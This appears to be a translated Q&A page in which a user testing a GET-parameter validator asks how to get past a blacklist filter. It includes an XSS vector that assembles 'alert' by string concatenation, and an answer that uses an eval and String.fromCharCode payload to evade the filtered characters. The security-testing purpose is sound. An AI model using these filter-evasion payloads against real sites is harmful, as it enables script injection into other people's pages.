Javascript自定义过滤器绕过

时间:2014-06-05 11:06:01

标签: javascript security web

我正在测试一段验证GET变量的代码。但是,存在一些不一致之处,因为只有以下字符串和字符被过滤掉:'/','/>','javascript:','alert','&','<'和';'。

以下载体:

/validate.php?v=click="window["".concat("al","ert")](1)" widht="300" height="150"

产生输出:

<img src=no onclik="window["".concat("al", "ert")](1)" widht="300" height="150">

我正在尝试按名称启动警报程序,因为字符串“alert”已经过验证。

是否可以绕过此过滤器?

1 个答案:

答案 0 :(得分:0)

我想绕过这种安全性你也可以使用eval()来运行代码并使用用char代码编写的字符:

示例:eval(['ale','rt',String.fromCharCode(40),'\'',String.fromCharCode(38),'\'',String.fromCharCode(41)].join(''))

哪个会运行代码alert('&'),它甚至会使用char代码过滤掉字符。